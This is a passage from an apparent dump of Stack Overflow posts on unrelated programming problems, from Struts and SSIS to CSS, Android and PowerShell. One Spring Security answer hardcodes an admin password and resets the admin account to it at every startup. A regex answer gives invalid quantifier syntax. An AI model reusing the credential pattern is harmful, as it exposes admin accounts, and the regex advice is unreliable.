... 34 more Caused by: java.lang.ClassNotFoundException: javassist.ClassPool at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1714) at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1559) at java.lang.Class.forName0(Native Method) at java.lang.Class.forName(Unknown Source) at ognl.OgnlRuntime.&lt;clinit&gt;(OgnlRuntime.java:165) ... 34 more Aug 30, 2013 11:33:37 AM org.apache.catalina.core.StandardContext startInternal SEVERE: Error filterStart Aug 30, 2013 11:33:37 AM org.apache.catalina.core.StandardContext startInternal SEVERE: Context [/ExampleTracker] startup failed due to previous errors Aug 30, 2013 11:33:37 AM org.apache.coyote.AbstractProtocol start INFO: Starting ProtocolHandler ["http-bio-8080"] Aug 30, 2013 11:33:37 AM org.apache.coyote.AbstractProtocol start INFO: Starting ProtocolHandler ["ajp-bio-8009"] Aug 30, 2013 11:33:37 AM org.apache.catalina.startup.Catalina start INFO: Server startup in 1277 ms </code></pre> <p>My original code block are the followings:</p> <p>HelloWorld.java</p> <pre class="lang-java prettyprint-override"><code>package com.xyz; import com.opensymphony.xwork2.ActionSupport; public class HelloWorld extends ActionSupport{ /** * */ private static final long serialVersionUID = 1L; private String greeting; public String getGreeting() { return greeting; } public void setGreeting(String greeting) { this.greeting = greeting; } @Override public String execute() throws Exception { setGreeting("hello program"); return SUCCESS; } } </code></pre> <p>struts.xml</p> <pre class="lang-xml prettyprint-override"><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"&gt; &lt;struts&gt; &lt;package name="basicStruts" extends="struts-default"&gt; &lt;action name="hello" class="com.xyz.HelloWorld"&gt; &lt;result name="success"&gt;/HelloWorld.jsp&lt;/result&gt; &lt;/action&gt; &lt;/package&gt; &lt;/struts&gt; </code></pre> <p>After running when I try to access through the link <code>http://localhost:8080/ExampleTracker/hello</code>, i got the following page: </p> <p><img src="https://i.stack.imgur.com/BEsR7.png" alt="enter image description here"></p> <p>Can anybody help me how to solve this problem.</p> <p>Thanks</p>
18087841	0	Microsoft BIDS How to clear table data before new transfer? <p>I have a database from which I am pulling rows from, manipulating the data a bit and then putting into another table. Every time I run the package, it doesnt remove any data from the destination and thus grows by X number of rows each time.</p> <p>Is there any way that I can clear the destination before adding the new rows?</p>
35597142	0	 <p>Do you want to end it with an "and"?</p> <p>For this situation, I created an npm module.</p> <p>Try <a href="https://github.com/dawsonbotsford/arrford" rel="nofollow">arrford</a>:</p> <p><br></p> <h2>Usage</h2> <pre><code>const arrford = require('arrford'); arrford(['run', 'climb', 'jump!']); //=&gt; 'run, climb, and jump!' arrford(['run', 'climb', 'jump!'], false); //=&gt; 'run, climb and jump!' arrford(['run', 'climb!']); //=&gt; 'run and climb!' arrford(['run!']); //=&gt; 'run!' </code></pre> <p><br></p> <h2>Install</h2> <pre><code>npm install --save arrford </code></pre> <p><br></p> <h2>Read More</h2> <p><a href="https://github.com/dawsonbotsford/arrford" rel="nofollow">https://github.com/dawsonbotsford/arrford</a></p> <p><br></p> <h2>Try it yourself</h2> <p><a href="https://tonicdev.com/dawsonbotsford/56f46dd154d4e814002e34b9" rel="nofollow">Tonic link</a></p>
19710113	0	Hadoop - set reducer number to 0 but write to same file? <p>My job is computational intensive so I am actually only using the distribution function of Hadoop, and I want all my output to be in 1 single file so I have set the number of reducer to 1. My reducer is actually doing nothing...</p> <p>By explicitly setting the number of reducer to 0, may I know how can I control in the mapper to force all the outputs are written into the same 1 output file? Thanks. </p>
13855764	0	JXL datetime no need the part time <p>Hello i wrote this code to add a Date in excel but when the cell is added he show also the time. I want eliminated the time part. Thank you in advance if someone can help .. </p> <p>Tabla[tabReg][tabCol]); is String Array</p> <pre><code> SimpleDateFormat dateFormat = new SimpleDateFormat("dd/MM/yyyy"); Date convertedDate = dateFormat.parse(Tabla[tabReg][tabCol]); DateFormat df = new DateFormat("yyyy/MM/dd"); WritableCellFormat wdf = new WritableCellFormat(df); cf = new WritableCellFormat(df); cell = new jxl.write.DateTime(exCol,exReg, convertedDate); cell.setCellFormat(wdf); sheet2.addCell(cell); </code></pre>
9295118	0	Return distance in elasticsearch results? <p>My question is similar to this <a href="http://stackoverflow.com/questions/9290057/compute-geo-distance-in-elasticsearch">one</a>.</p> <p>Simply, is there a way to return the geo distance when NOT sorting with _geo_distance?</p> <p>Update: To clarify, I want the results in random order AND include distance.</p>
20258294	0	How to create human readable time stamp? <p>This is my current PHP program:</p> <pre><code>$dateStamp = $_SERVER['REQUEST_TIME']; </code></pre> <p>which I later log.</p> <p>The result is that the <code>$dateStamp</code> variable contains numbers like: </p> <p>1385615749</p> <p>This is a Unix timestamp, but I want it to contain human readable date with hour, minutes, seconds, date, months, and years.</p> <p>So I need a function that will convert it into a human readable date.</p> <p>How would I do that?</p> <p>There are other similar questions but not quite like this. I want the simplest possible solution.</p>
22024213	0	Calling scanf_s() with array of chars <p>I tried this code, but it is not working.</p> <pre><code>char word1[40]; printf("Enter text: \n"); scanf_s("%s", word1); printf("word1 = %s", word1); </code></pre> <p>When I execute it, it shows:</p> <blockquote> <pre><code>word1 = </code></pre> </blockquote>
28872797	0	 <p>Personally, for the admin account I won't go with the basic Spring Security user service, mainly because it lacks the flexibility of a DB-based user management approach. Indeed, you probably don't want to have your admin credentials established once for all, since they can be guessed or stolen or simply forgotten.</p> <p>Conversely, both password <strong>modification and recovery mechanisms</strong> should be put in place for all accounts, including the admin one (provided you use a trusted email account for password recovery, but this is a reasonable assumption).</p> <p>Getting concrete, my approach is the following: I use an <code>AuthenticationManager</code> where I inject a <code>CustomUserDetailService</code></p> <pre><code> &lt;authentication-manager alias="authenticationManager"&gt; &lt;authentication-provider user-service-ref="customUserDetailsService" &gt; &lt;password-encoder ref="passwordEncoder" /&gt; &lt;/authentication-provider&gt; &lt;/authentication-manager&gt; &lt;b:bean id="passwordEncoder" class="org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder" /&gt; </code></pre> <p>which is the following</p> <pre><code> @Service public class CustomUserDetailsService implements UserDetailsService{ @Autowired @Qualifier("userDaoImpl") private UserDao userDaoImpl; @Override @Transactional public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException { User user = userDaoImpl.loadByUsername(username); if (user != null) return user; else throw new UsernameNotFoundException(username + " not found."); } } </code></pre> <p>this works for all users, not only the admin.</p> <p>Now it comes <strong>the problem of having the admin account full functional when the application starts</strong>. This is accomplished by using an <strong>initialization</strong> bean to be executed at startup, detailed in the following</p> <pre><code> @Component public class Initializer { @Autowired private HibernateTransactionManager transactionManager; @Autowired @Qualifier("userDaoImpl") private UserDao userDao; @Autowired private CredentialsManager credentialsManager; private String resetPassword = "makeItHardToGuess"; private String adminUsername = "admin"; @PostConstruct private void init() { //since we are executing on startup, we need to use a TransactionTemplate directly as Spring may haven't setup transction capabilities yet TransactionTemplate trxTemplate = new TransactionTemplate(transactionManager); trxTemplate.execute(new TransactionCallbackWithoutResult() { @Override protected void doInTransactionWithoutResult(TransactionStatus status) { buildAdmin(); } }); } private void buildAdmin() { //here I try to retrieve the Admin from my persistence layer ProfiledUser admin = userDao.loadByUsername(adminUsername); try { //If the application is started for the first time (e.g., the admin is not in the DB) if(admin==null) { //create a user for the admin admin = new ProfiledUser(); //and fill her attributes accordingly admin.setUsername(adminUsername); admin.setPassword(credentialsManager.encodePassword(resetPassword)); admin.setAccountNonExpired(true); admin.setAccountNonLocked(true); admin.setCredentialsNonExpired(true); admin.setEnabled(true); admin.setEulaAccepted(true); Authority authority = new Authority(); authority.setAuthority("ROLE_ADMIN"); admin.getAuthorities().add(authority); } //if the application has previously been started (e.g., the admin is already present in the DB) else { //reset admin's attributes admin.setPassword(credentialsManager.encodePassword(resetPassword)); admin.getAuthorities().clear(); Authority authority = new Authority(); authority.setAuthority("ROLE_ADMIN"); admin.getAuthorities().add(authority); admin.setAccountNonExpired(true); admin.setAccountNonLocked(true); admin.setCredentialsNonExpired(true); admin.setEnabled(true); } userDao.save(admin); } catch (Exception e) { e.printStackTrace(); System.out.println("Errors occurred during initialization. System verification is required."); } } } </code></pre> <p>please note that the <code>@PostConstruct</code> annotation does not guarantee that spring has its transaction services available, that's why I had to manage the transaction my own. Please refer to <a href="http://stackoverflow.com/questions/19876637/how-to-get-transactions-to-a-postconstruct-cdi-bean-method/20740252#20740252">this</a> for more details.</p>
29484810	0	 <p>Simply use the current object <code>this</code> keyword</p> <p><code>var id = $(this).attr('id');</code></p>
27539955	0	 <p><strong>@chipChocolate.py</strong> gave a brilliant solution! This is an improvement based on his.</p> <ol> <li><p>In Firefox <code>transparent</code> behaves like <code>rgba(0,0,0,0)</code> which leaves a thin gray line at the edge. Change to <code>rgba(255,255,255,0)</code> looks better.</p></li> <li><p>Make the visual effect closer to OP's screenshot: 36 strips, each occupies a 10 degree angle.</p></li> <li><p>Effective on <code>&lt;html&gt;</code> tag, like OP's try.</p></li> </ol> <p>BTW: Chrome's render engine sucks, best viewed in Firefox.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>html { height: 100%; position: relative; } html:before, html:after { content: ''; height: 100%; width: 50%; position: absolute; top: 0; background-size: 200% 100%; background-image: linear-gradient(85deg, rgba(255,255,255,0) 50%, #12e0db 50%, #12e0db), linear-gradient(75deg, rgba(255,255,255,0) 50%, #000 50%, #000), linear-gradient(65deg, rgba(255,255,255,0) 50%, #12e0db 50%, #12e0db), linear-gradient(55deg, rgba(255,255,255,0) 50%, #000 50%, #000), linear-gradient(45deg, rgba(255,255,255,0) 50%, #12e0db 50%, #12e0db), linear-gradient(35deg, rgba(255,255,255,0) 50%, #000 50%, #000), linear-gradient(25deg, rgba(255,255,255,0) 50%, #12e0db 50%, #12e0db), linear-gradient(15deg, rgba(255,255,255,0) 50%, #000 50%, #000), linear-gradient(5deg, rgba(255,255,255,0) 50%, #12e0db 50%, #12e0db), linear-gradient(-5deg, rgba(255,255,255,0) 50%, #000 50%, #000), linear-gradient(-15deg, rgba(255,255,255,0) 50%, #12e0db 50%, #12e0db), linear-gradient(-25deg, rgba(255,255,255,0) 50%, #000 50%, #000), linear-gradient(-35deg, rgba(255,255,255,0) 50%, #12e0db 50%, #12e0db), linear-gradient(-45deg, rgba(255,255,255,0) 50%, #000 50%, #000), linear-gradient(-55deg, rgba(255,255,255,0) 50%, #12e0db 50%, #12e0db), linear-gradient(-65deg, rgba(255,255,255,0) 50%, #000 50%, #000), linear-gradient(-75deg, rgba(255,255,255,0) 50%, #12e0db 50%, #12e0db), linear-gradient(-85deg, rgba(255,255,255,0) 50%, #000 50%, #000), linear-gradient(-95deg, rgba(255,255,255,0) 50%, #12e0db 50%, #12e0db); } html:before { left: 50%; transform: rotate(180deg); }</code></pre> </div> </div> </p>
14931699	0	 <p>This is just something related to the <strong>debugger</strong>, not the CLR or anything else. In any given scope, there is only one accessible variable or object with specified name, so the debugger does not try to distinguish the same names appearing in different palces.</p> <p>Hovering over a <em>name</em> is equivallent of adding a <em>watch</em> for the varialbe in the debugger's watch window. It doesn't matter where you picked the <em>name</em> from.</p>
4560070	0	 <p>You can put the image into the checkbox's label, which effectively makes it part of the checkbox (so clicking on it will toggle the checkbox):</p> <pre><code>&lt;label for="moreinfo"&gt; &lt;img src="darkCircle.jpg"/&gt; &lt;input name="moreinfo" type="checkbox" id="moreinfo" style="display:none"&gt; &lt;/label&gt; $("#moreinfo").change(function() { if(this.checked) { $(this).prev().attr("src", "lightCircle.jpg"); } else { $(this).prev().attr("src", "darkCircle.jpg"); } }); </code></pre>
20671323	0	find() element based on id starting with... and css property <p>How do I select a descendant of an element based on:</p> <ul> <li>its <code>id</code> <strong>starting</strong> with: foo; and</li> <li>its css <code>visibility</code> set to visible?</li> </ul> <p><code>$('#parentEle')find('id^=foo:visible').css({...});</code> ?</p>
25402839	0	 <p>Give unique id to your input text</p> <p>for example </p> <p>and in OnClick event function write following line of code</p> <p>$("#1").val('some text');</p>
11365653	0	 <p>If your string can be ANY length and you want to match the cases when you have 0 to 3 charaters you should use:</p> <pre><code>\d?\d?\d?\d?$ </code></pre> <p>or, if the regex engine understands it: </p> <pre><code>\d{0-4}$ </code></pre>
28339893	0	Why is IIS exiting with code 0 whenever I preview in Chrome from Visual Studio? <p>I started on a new <a href="/questions/tagged/asp.net" class="post-tag" title="show questions tagged &#39;asp.net&#39;" rel="tag">asp.net</a> site yesterday with <a href="/questions/tagged/vb.net" class="post-tag" title="show questions tagged &#39;vb.net&#39;" rel="tag">vb.net</a>; I am familiar with VB.NET but not ASP.NET.</p> <p>My primary browser is Google Chrome, but when I attempt to 'emulate' (debug) the site, the debugger exits the local development server spawned by Visual Studio and as a result, Chrome can never load the website (since when it tries to the webserver isn't running). This can be seen easily by viewing Chrome and Visual Studio side-by-side; Visual Studio's status bar turns orange for a second or so then goes back to blue, and IIS exits with code <code>0</code>:</p> <pre><code>The program '[73048] iisexpress.exe: Program Trace' has exited with code 0 (0x0). The program '[73048] iisexpress.exe' has exited with code 0 (0x0). </code></pre> <p>However this can be temporarily fixed by 'emulating' in Internet Explorer and then with Chrome again, but this fix must be applied on every reboot in order for it to work.</p> <p>Why is this happening, and how can I properly debug in Chrome without the webserver exiting?</p> <p>I read <a href="http://stackoverflow.com/questions/19568762/how-can-i-prevent-visual-studio-2013-from-closing-my-iis-express-app-when-i-end">How can I prevent Visual Studio 2013 from closing my IIS Express app when I end debugging?</a> but however none of the solutions helped me in this respect, and that the issue is that Visual Studio seems to be closing <code>iisexpress.exe</code> when the debugging has started.</p> <p>Chrome runs each tab in a separate process (sandboxing), so perhaps it could be that Visual Studio is expecting Chrome's 'base' PID when Chrome actually spawns an entirely new PID for the new tab created when the 'emulator' starts?</p> <p>Is there any solution to this other than use Internet Explorer (or the 'fix') for debugging the site?</p> <p><a href="https://www.youtube.com/watch?v=GQKgpMPg6HM&amp;feature=youtu.be" rel="nofollow">I have recorded what's happening here, and I still find it odd that Internet Explorer is able to 'cure' the problem temporarily.</a> </p> <p>I am using Visual Studio 2013 Ultimate with Windows 8.1 Pro (Media Centre Edition) and Chrome 40.0.2214.93 m.</p>
6265270	0	 <p><code>char *str = "foo"</code> gives you a pointer to a string literal (you should really be doing <code>const char *</code>, but C allows non-<code>const</code> for backwards compatiblity reasons).</p> <p>It is undefined behaviour to attempt to modify a string literal. <code>strtok</code> modifies its input.</p>
40797343	0	Excel Workbook - Sheet Sync / Version Control <p>Let's say I have a workbook with two sheets: A and B.</p> <p>I'm looking for a simple version control system that would allow two users to work on one workbook and keep it in sync. So,</p> <ul> <li>User 1 works on sheet A</li> <li>User 2 works on sheet B</li> </ul> <p>What's a nice &amp; simple way to keep the workbook synced for both users? I don't know if this would require a Macro to compare sheets or if there is some kind of version control software like git to do this.</p>
4246010	0	 <p>Does <code>Status</code> touch the UI? Because it seems like it.</p> <p>I can only guess but I imagine <code>Status</code> changes something on UI which needs to be done through <code>Dispatcher.Invoke()</code>.</p>
38615181	0	OnClick in a CardView <include> layout <p>I have a xml that contains some <code>CardView</code> <code>&lt;include&gt;</code>, I want to set <code>onClick</code> in the <code>CardView</code> includes to open an <code>Activity</code> in my project. I tried to set the <code>onClick</code> in the <code>CardView</code> layout as you will see in the code below, it opens normally but triggers an error sometimes and the application stops. How can I set the <code>onClick</code> in this include?</p> <p>This is the <code>&lt;include&gt;</code> in my xml</p> <pre><code> &lt;include layout="@layout/view_caderno" android:id="@+id/view_caderno" /&gt; </code></pre> <p>and here is the <strong>CardView</strong></p> <pre><code>&lt;android.support.v7.widget.CardView xmlns:android="http://schemas.android.com/apk/res/android" xmlns:card_view="http://schemas.android.com/apk/res-auto" android:id="@+id/card_view" android:layout_width="match_parent" android:layout_height="wrap_content" card_view:cardCornerRadius="10dp" card_view:cardElevation="15dp" android:layout_margin="5dp" android:onClick="Caderno" &gt; &lt;RelativeLayout android:layout_width="match_parent" android:layout_margin="2dp" android:layout_height="match_parent"&gt; &lt;ImageView android:id="@+id/pic1" android:layout_width="100dp" android:layout_height="135dp" android:scaleType="centerCrop" android:padding="5dp" android:src="@drawable/note" android:layout_alignParentTop="true" android:layout_alignParentLeft="true" android:layout_alignParentStart="true" android:layout_alignParentRight="true" android:layout_alignParentEnd="true" /&gt; &lt;TextView android:id="@+id/title" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_below="@+id/pic1" android:maxLines="3" android:text="Diário" android:padding="10dp" android:textColor="#222" android:textStyle="bold" android:textSize="22dp" /&gt; &lt;TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_below="@+id/title" android:maxLines="3" android:padding="5dp" android:drawableRight="@drawable/baby2" android:text="@string/diário" android:textColor="#666" android:textSize="14dp" /&gt; &lt;/RelativeLayout&gt; </code></pre> <p></p>
23643308	0	 <p>Here are my thoughts. I would NEVER have any replication going on between dev and production. That's just way too risky in my opinion and not a Best Practice. Maybe that's not exactly what you're doing I'm not sure.</p> <p>Here's what I do and as far as I know everyone on my team:</p> <p>Our Dev server has a test database. This is a COPY from production. Personally I refresh it now and then so it's basically a snapshot.</p> <p>We have a local template for all dev work. We program in the template and refresh the test database. Typically we don't need to do a "restart task http" as part of the refresh process UNLESS we make a change to a managed bean or are working with SXD. Then yes we refresh the dev application and restart the server and test.</p> <p>In the OLD days I would have a production template on the production server. This was not a replica of anything but it inherited design from the DEV template. So to promote updates to production I'd first refresh the production template from the dev version. Then refresh the production app from the production template.</p> <p>In the world of source control and SourceTree where you have a feature branch, develop branch and default/production branch that kinda eliminates the need for a production template. I'm not in love with that but it is what it is. So we refresh production from our local templates and rely on SourceTree to make sure it's the correct branch at the time we refresh. I think it's a little more risky but this allows the ability to do real hotfixes and stuff.</p> <p>Historically I've not needed to do a restart task http but I've not promoted anything that uses SXD and even my managed bean promotions have been limited to this point. But I imagine I will need to do more with restarting the http task.</p>
1000637	0	 <p>Try setting the dialog's owner:</p> <pre><code>var uploadWindow = new UploadWindow(); uploadWindow.Owner = this; uploadWindow.ShowDialog(); </code></pre>
10786592	0	 <p>Not with <code>foreach</code>.</p> <pre><code>for (var i = 0; i &lt; array.length; i += 2) { var name = array[i]; var time = array[i + 1]; // do whatever } </code></pre>
500006	0	What is the purpose of anonymous { } blocks in C style languages? <p>What is the purpose of anonymous { } blocks in C style languages (C, C++, C#)</p> <p>Example -</p> <pre><code> void function() { { int i = 0; i = i + 1; } { int k = 0; k = k + 1; } } </code></pre> <p><strong>Edit</strong> - Thanks for all of the excellent answers!</p>
35489986	0	 <p>You're setting the image:</p> <pre><code>if (userGuess == 'r'){ var displayRock = "&lt;img src='images/rock-user.png' alt='User Rock'&gt;"; document.querySelector("#userGuess").innerHTML = displayRock; } </code></pre> <p>And it is immediatelly being replaced a few lines below:</p> <pre><code>document.querySelector('#userGuess').innerHTML = displayUserGuess; </code></pre> <p>You might want to use the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML" rel="nofollow">insertAdjacentHTML('beforeend', displayUserGuess)</a> function.</p> <p>Also, it is not good practice to query for the same element multiple times - it is better to query once and keep it in a variable like:</p> <pre><code>var userGuessEl = document.querySelector('#userGuess'); // and then below userGuessEl.innerHTML = ... </code></pre>
4299773	0	Post html code to PHP using jQuery <p>I allow users to edit webpages using CKEditor and then save their modified HTML snippets to the server so that I can show them on subsequent page deliveries. </p> <p>I'm using this code to send the HTML and a few IDs to the server:</p> <pre><code>var datatosend = JSON.stringify( { page: 1, block: 22, content: editor1.getData() } ); $.ajax({ url: "/ajax/fragment/", type: "POST", dataType: 'json', data: "data=" + datatosend, success: function (html) { }, error: function (xhr, status, msg) { alert( status + " " + msg ); } }); </code></pre> <p>And on the server side I am using PHP and am doing this:</p> <pre><code> $json = stripslashes( $_POST[ "data" ] ); $values = json_decode( $json, true ); </code></pre> <p>This works a lot of the time when non-HTML snippets are sent but does not work when something like this is sent in the content:</p> <pre><code>&lt;img alt="" src="http://one.localbiz.net/uploads/1/Dido-3_2.JPG" style="width: 173px; height: 130px;" /&gt; </code></pre> <p>I'm really not sure what I am supposed to be doing in terms of encoding the data client-side and then decoding server-side? Also not sure if dataType: 'json' is the best thing to use here?</p>
30779220	0	 <p>Add this </p> <pre><code>@Override public void onBackPressed() { if (getFragmentManager().getBackStackEntryCount() &gt; 0) { getFragmentManager().popBackStack(); } else { super.onBackPressed; } } </code></pre>
2021079	0	 <p>To answer my own question, following is a complete working Chronology class (for 8 hours days). I am posting it here so it might help other people that trying to solve similar problems.</p> <pre><code> import org.joda.time.Chronology; import org.joda.time.DateTimeZone; import org.joda.time.DurationFieldType; import org.joda.time.field.PreciseDurationField; import org.joda.time.chrono.AssembledChronology; import org.joda.time.chrono.GregorianChronology; public final class EightHoursDayChronology extends AssembledChronology { private static final EightHoursDayChronology INSTANCE_UTC; static{ INSTANCE_UTC = new EightHoursDayChronology(GregorianChronology.getInstanceUTC()); } public static EightHoursDayChronology getInstance(){ return INSTANCE_UTC ; } private EightHoursDayChronology(Chronology base) { super(base, null); } @Override protected void assemble(org.joda.time.chrono.AssembledChronology.Fields fields) { int millisPerDay = 1000 * 60 * 60 * 8 ; fields.days = new PreciseDurationField(DurationFieldType.days(), millisPerDay) } @Override public Chronology withUTC() { return INSTANCE_UTC ; } @Override public Chronology withZone(DateTimeZone zone) { throw new UnsupportedOperationException("Method was not implemented"); } @Override public String toString() { return "EightHoursDayChronology"; } } </code></pre>
40266027	0	 <p>You can find the approximate number of active threads in the <code>ThreadPoolExecutor</code> by calling the <code>getActiveCount</code> method on it. However you shouldn't need to.</p> <p>From the <a href="https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/Executors.html#newFixedThreadPool-int-" rel="nofollow">Java documentation for Executors.newFixedThreadPool</a></p> <blockquote> <p>Creates a thread pool that reuses a fixed number of threads operating off a shared unbounded queue. At any point, at most nThreads threads will be active processing tasks. If additional tasks are submitted when all threads are active, they will wait in the queue until a thread is available. If any thread terminates due to a failure during execution prior to shutdown, a new one will take its place if needed to execute subsequent tasks. The threads in the pool will exist until it is explicitly shutdown.</p> </blockquote> <p>So you should be able to keep submitting tasks to the thread pool and they will be picked up and run as threads become available.</p> <p>I also note that you are wrapping your tasks in <code>Thread</code> objects before submitting them to the thread pool which is not necessary.</p>
21447324	0	switching between divs and iframes <p>I have a main viewing area that I want to be switchable from a menu by clicking on a menu item. </p> <p>In this main viewing area I want to have the flexibility of being able to switch between a <code>div</code> and <code>iframe</code>. I know how to change them separately. </p> <p>My question is how can I do this and what is the best way to do this? I'm not sure how to support both divs and iframes in a single viewing area and what would be the best way to do this. </p> <p>I'm using JQuery and bootstrap currently but I'm open to suggestions if they are needed.</p>
9833981	0	 <p>See <a href="http://qt-project.org/doc/qt-4.8/qstringlist.html#join" rel="nofollow"><code>QStringList::join</code></a></p>
12817268	0	 <p>Start your activity B by Activity A</p> <pre><code>Intent intent = new Intent(ActivityA.this,ActivityB.Class); startActivityForResult(intent,0); </code></pre> <p>finish your activity B with </p> <pre><code>Intent intent = new Intent(); setResult(RESULT_OK,intent ); finish(); </code></pre> <p>now in ActivityA</p> <pre><code>@Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); //Do your work here in ActivityA } </code></pre>
2708031	0	 <p>You can get the index like so:</p> <pre><code>$("#eq &gt; span").each(function (index, Element) { alert(index); ... </code></pre> <p>see <a href="http://api.jquery.com/each/" rel="nofollow noreferrer">http://api.jquery.com/each/</a></p>
9103137	0	 <pre><code>$(document).ready(function(){ if($('#contentblock').is(':hidden')) { $('#contentblock').slideDown('slow'); } }); </code></pre> <p>if you have jquery added to your project and your div is display none ... something like this should work.</p>
14412135	0	 <p>Check this code. Yo have to create a class with any name example conexionDB, and into the class put the next code:</p> <pre><code>import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; /** * * @author programmerhn */ public class ConexionDB { private Connection con; /** * */ public void Conectar() { try { Class.forName("org.apache.derby.jdbc.EmbeddedDriver"); con = DriverManager.getConnection("jdbc:derby://localhost:1527/accounts", "username", "password"); System.out.println("Connection successfully"); }catch( ClassNotFoundException | SQLException e) { System.out.println(e.getMessage()); } } } </code></pre>
7724358	0	 <p>Based on your requirement(And as you haven't posted XML layout here that you have tried so far), i assume and can suggest the following:</p> <ol> <li>give bottom margin to your listview: <code>android:layout_marginBottom="60dip"</code></li> <li>If you are using RelativeLayout then just give listview as <code>android:layout_above="@+id/footer"</code></li> </ol> <p>I suggest to you go with 2nd option.</p> <h2>Update:</h2> <p>Based on the XML you have posted, try this correct XML layout:</p> <pre><code>&lt;RelativeLayout android:id="@+id/relativeLayout1" android:layout_height="wrap_content" android:layout_width="match_parent" xmlns:android="http://schemas.android.com/apk/res/android"&gt; &lt;ListView android:layout_width="match_parent" android:layout_height="match_parent" android:id="@+id/companylistView" android:layout_above="@+id/textView1"&gt; &lt;/ListView&gt; &lt;TextView android:text="Footer Text" android:id="@+id/textView1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:textColor="#000000" android:layout_alignParentBottom="true"&gt; &lt;/TextView&gt; &lt;/RelativeLayout&gt; </code></pre>
7220921	0	 <p>Subscribing to events in VB.NET requires either the AddHandler or Handles keyword. You will also have a problem with the lambda, the Function keyword requires an expression that returns a value. In VS2010 you can write this:</p> <pre><code> AddHandler m_switchImageTimer.Tick, Sub(s, e) LoadNextImage() </code></pre> <p>In earlier versions, you need to either change the LoadNextImage() method declaration or use a little private helper method with the correct signature:</p> <pre><code> AddHandler m_switchImageTimer.Tick, AddressOf SwitchImageTimer_Tick ... Private Sub SwitchImageTimer_Tick(sender As Object, e As EventArgs) LoadNextImage() End Sub </code></pre>
24724434	0	Sort array by delegate <p>I want to sort an array alphabetically using a delegate. The input is</p> <pre><code>"m", "a", "d", "f", "h" </code></pre> <p>but the output is</p> <pre><code> a a d f h </code></pre> <p>i.e. it is ordered alphabetically but the "m" is missing and with "a" doubled. What is the reason?</p> <p>Source code:</p> <pre><code>class ArrayMethods { public void sort(String[] array, t xcompare) { xcompare = compare; for (int i = 0; i &lt; array.Length - 1 ; i++) { array[i] = xcompare(array[i], array[i + 1]); } foreach (var a in array) { Console.WriteLine(a); } } public String compare(string p, string x) { string result = ""; if (String.Compare(p, x) &lt; 0) { result = p; } else { result = x; } return result; } } public delegate string t(string firstString, string secondString); class Program { public static string[] names = { "m", "a", "d", "f", "h" }; static void Main(string[] args) { ArrayMethods arrayMethods = new ArrayMethods(); t delHandler = null; arrayMethods.sort(names, delHandler); Console.ReadKey(); } } </code></pre>
38087254	0	 <p>I'm using BroadcastReceivers to solve these kind of problems to avoid problems related to the Android lifecicle.</p> <p>The basic idea of broadcast receiver is a publisher-subscriber, the interested fragmets should register with an appropriate intent filter to the events they're interested in and the activity should be spamming events.</p> <p>More about broadcast receivers at <a href="https://developer.android.com/reference/android/content/BroadcastReceiver.html" rel="nofollow">https://developer.android.com/reference/android/content/BroadcastReceiver.html</a></p>
23072844	0	 <p>You could check if the <code>#localVideo</code> element exists. Also, if they are the only elements in the <code>#A</code> element, you can remove them by calling <code>$('#A').empty();</code>.</p> <pre><code>$(document).ready(function() { $('#BtnOn').click(function() { if ($('#localVideo').length == 0) { $('#A').append('&lt;video id="localVideo" style="background-color:black"&gt;&lt;/video&gt;&lt;div id="remoteVideos"&gt;&lt;/div&gt;'); } }); $('#BtnOff').click(function() { if ($('#localVideo').length &gt; 0) { $("#localVideo").remove(); $("#remoteVideos").remove(); } }); }); </code></pre> <p>You could also consider hiding and showing the video elements, rather than adding and removing them.</p>
5264764	0	JSF/Richfaces/A4j ==> component/field conversion and reRendering problem <p>I have an input field in a JSF Page like the following (maps to BigDecimal on backing bean)</p> <pre><code> &lt;h:inputText disabled="#{volumeBean.grossVolumeDisabled}" id="grossVolume" size="10" validateOnExit="true" value="#{volumeBean.enteredGrossVolume}" &gt; &lt;a4j:support ajaxSingle="true" event="onblur" ignoreDupResponses="true" oncomplete="checkFieldValidation(this)" onsubmit="updateDirty()"/&gt; &lt;/h:inputText&gt; </code></pre> <p>And an a4j:commandButton to "refresh" all the data from the database on the page: </p> <pre><code> &lt;a4j:commandButton accesskey="T" action="#{volumeBean.revert}" button-type="ajax" disabled="#{volumeBean.revertDisabled}" id="volumeBean_reset" immediate="true" reRender="volumesTable" value="#{msg.button_RESET}"/&gt; </code></pre> <p>Here are the steps to reproduce my problem: And please note that the error occurs regardless of whether there is a reRender attribute set on the a4j:support</p> <p>Here are the steps to reproduce - just to clarify further:</p> <ol> <li>navigate to the screen where the BigDecimal input field exists</li> <li>type aa into the field (should be a number but put non-numeric characters purposely)</li> <li>tab off the field</li> <li>notice that an error is reported 'aa' is not a valid netVolume</li> <li>click on the RESET button</li> <li>all of the changed fields have their original values EXCEPT those that have non-numeric data entered</li> <li>unless the user manually deletes the non-numeric data in the fields or refreshes the entire screen, the "bad data" sticks</li> </ol>
12367606	0	Powershell variable interrogation of date & time difference <p>Morning All,</p> <p>I have a variable as follows: <code>$machines = $user2,$name,$serial,$purchased</code> sample data stored in $machines is:</p> <pre><code>User1, Laptop1, xyz1234, 01/01/2010 </code></pre> <p>I am wanting to create a new variable called $tobereplaced containing all of the records in $machines with a date greater than 4 years old from todays date.</p> <p>the fuzzy logic code for this im expecting to be someting like <code>$tobereplaced = $machines.$purchased | where {$_$purchased = -getdate &gt; 4 years}</code> etc etc but i cant quite figure it out.</p> <p>Assistance would be greatly appreciated.</p> <p>Thanks</p>
